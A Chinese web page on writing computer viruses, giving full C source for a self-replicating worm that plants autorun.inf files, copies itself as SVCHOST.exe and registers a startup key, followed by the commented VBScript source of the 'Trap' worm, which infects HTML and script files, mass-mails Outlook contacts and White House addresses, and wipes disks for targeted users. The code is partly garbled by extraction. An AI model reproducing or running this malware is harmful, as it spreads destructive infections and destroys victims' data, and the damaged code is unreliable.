如何用C语言写病毒？
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe，使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形，具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#includestdio.h
#includestring.h
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\M *** OUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(temp,1,1,input);
fwrite(temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;kSVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;
警告:不会修改注册表的人;别运行本程序...
怎样用C语言编写病毒 / 蓝讯
要编制一个病毒，首先要知道病毒的运行机理。
不论是何种病毒，它一般在结构上分为三个功能模块：感染机制，触发机制和有效载荷。
在病毒结构中，首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码，这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
{
if (infectable_object_found
object_not_already_infect)
infect_object;
}
病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
有效载荷就是病毒用来骚扰你的电脑的 *** ,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息，重新格式化你的磁盘，把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
给个C语言病毒代码.....要复制的....越长越好
下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 VBS 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'这句话的意思可能是“借刀杀人”，然后是病毒名称“陷阱”
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, *** ailc, MAX_SIZE
dim whb(), title(10)
*** ailc = 4
Redim whb( *** ailc) ’白宫相关人员邮件名单
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2) = "first.lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'发送邮件的主题
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定义传染文件的更大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路径
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象
if getErr then '辨认病毒状态
Randomize '初始化随机种子
ra = int(rnd() * 7) '产生随机数
doucment.write title(ra) ' 写随机内容
ExecuteMail '执行邮件状态时的程序
else
ExecutePage '执行 WEB 页状态时的程序
end if
else
ExecuteVbs '执行 VBS 文件状态时的程序
end if
end sub
Function getErr() 忽略错误
if Err.number0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 页状态时的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码
Js_Str = GetJavaScript() ' 得到 Javascript 代码
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码
Gf
'定义病毒文件的路径
wdsf = w2 "Mdm.vbs"
wdsf2 = w1 "Profile.vbs"
wdf = w2 "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人
wdf2 = w2 "Readme.html"
wdf3 = w2 "system.dll"
'创建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注册表，让病毒文件在每一次计算机启动自动执行
Writereg MSWKEY "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 执行发送邮件程序
Hackpage ' 执行感染网站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和 *** 共享硬盘
call SearchHTML(x "\") '执行文件感染程序
end if
next
if TestUser then '检查用户
Killhe 执行删除文件操作
else
if Month(Date) Day(Date) = "75" then '如系统时间为 7月5日
set vf = fso.OpenTextFile(w2 "75.htm", 2,true) ’创建系统攻击文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY "CurrentVersion\Run\75", w2 "75.htm", "" '自动启动
window.navigate "c:/con/con" '立刻蓝屏，利用 Windows BUG，能引起 Win9X 系统100%死机（即无法恢复的蓝屏）
else '如不是7.5
if fso.FileExists(w2 "75.htm") then fso.DeleteFile w2 "75.htm" ' 删除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '邮件状态时执行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '创建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口
end sub
sub ExecuteVbs() ' 同理，如病毒文件是 VBS 时所执行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x "\")
end if
next
if TestUser then Killhe
end sub
sub Gf() '得到系统路径
w1=fso.GetSpecialFolder(0) "\"
w2=fso.GetSpecialFolder(1) "\"
end sub
function Readreg(key_str) '读注册表
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype) '写注册表
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
end function
function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="" "HTML" "HEAD" "TITLE" title(ra) "/" "TITLE" "/HEAD" _
"BO" "AD" vbcrlf MakeScript(Sbuffer, iHTML) vbcrlf _
"" "/BOAD" "/HTML"
end Function
function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂，不再描述
if iHTML then
dim DocuWrite
DocuWrite = "document.write(''+" "'SCRIPT Language=JavaScript\n'+" _
"jword" "+'\n/'" "+'SCRIPT');"
DocuWrite = DocuWrite vbcrlf "document.write(''+" "'SCRIPT Language=VBScript\n'+" _
"nword" "+'\n/'" "+'SCRIPT');"
MakeScript="" "SCRIPT Language=JavaScript" vbcrlf "var jword = " _
chr(34) encrypt(Js_Str) chr(34) vbcrlf "var nword = " _
chr(34) Codestr chr(34) vbcrlf "nword = unescape(nword);" vbcrlf _
"jword = unescape(jword);" vbcrlf DocuWrite vbcrlf "/" "SCRIPT"
else
MakeScript= "" "SCRIPT Language=JavaScript" Codestr "/" "SCRIPT"
end if
end function
function GetScriptCode(Languages) ' 得到不同脚本语言的代码
dim soj
for each soj in document.scripts
if LCase(soj.Language) = Languages then
if Languages = "javascript" then
if len(soj.Text) 200 then
else
GetScriptCode = soj.Text
exit function
end if
else
GetScriptCode = soj.Text
exit function
end if
end if
next
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser() '检测用户过程
on error resume next
dim keys(6), i, tmpStr, Wnet
'特定用户关键词
keys(0) = "white home"
keys(1) = "central intelligence agency"
keys(2) = "bush"
keys(3) = "american stock exchang"
keys(4) = "chief executive"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject("WScript.Network") '创建 *** 对象
'下面一共3个循环，作用一样，是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语，一旦含有程序将返回”真”的条件，从而对这些用户的文件进行疯狂删除。
tmpStr = LCase(Wnet.UserName) '
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.ComputerName)
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.UserDomain)
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
Set Wnet = Nothing
end function
function SendMail() '发送文件过程
on error resume next
dim wab,ra,j, Oa, arr *** , eins, Eaec, fm, wreg, areg,at
'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件
主题是随机的，此过程与“欢乐时光“类似，所以不再描述
Randomize
at=fso.GetSpecialFolder(1) "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (Eaec Int(wreg)) then
for x = 1 to Eaec
arr *** = wab.AddressEntries(x)
areg = Readreg(HCUW arr *** )
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arr ***
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUW arr *** , 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW eins, Eaec, ""
next
'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国 *** 的极度不满。
for j = 1 to *** ailc
arr *** = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arr ***
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送
end function
sub SearchHTML(Path) '搜索可传染文件的过程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) 0 then exit sub
if Path "E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染，如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行。
if Code_Str"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盘删除文件过程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" vbcrlf "PATH " w1 "COMMAND" vbcrlf _
"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中，下次开机时，删除整个硬盘，并没有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlf codeText
ko.Close
'接着立刻删除其它盘的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x "\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '让系统立刻死机
window.open ""
loop
end sub
sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户
set fi = fso.GetFile(H "\index.htm")
AddHead H "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程
on error resume next
dim tso, buffer,sr
if f.size MAX_SIZE then exit sub '传染大小小于100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7)) "SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str vbcrlf buffer '插入到文件头
tso.close
end if
else
if mid(buffer, 3, 2) "'@" then
tso.close
sr=w2 "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。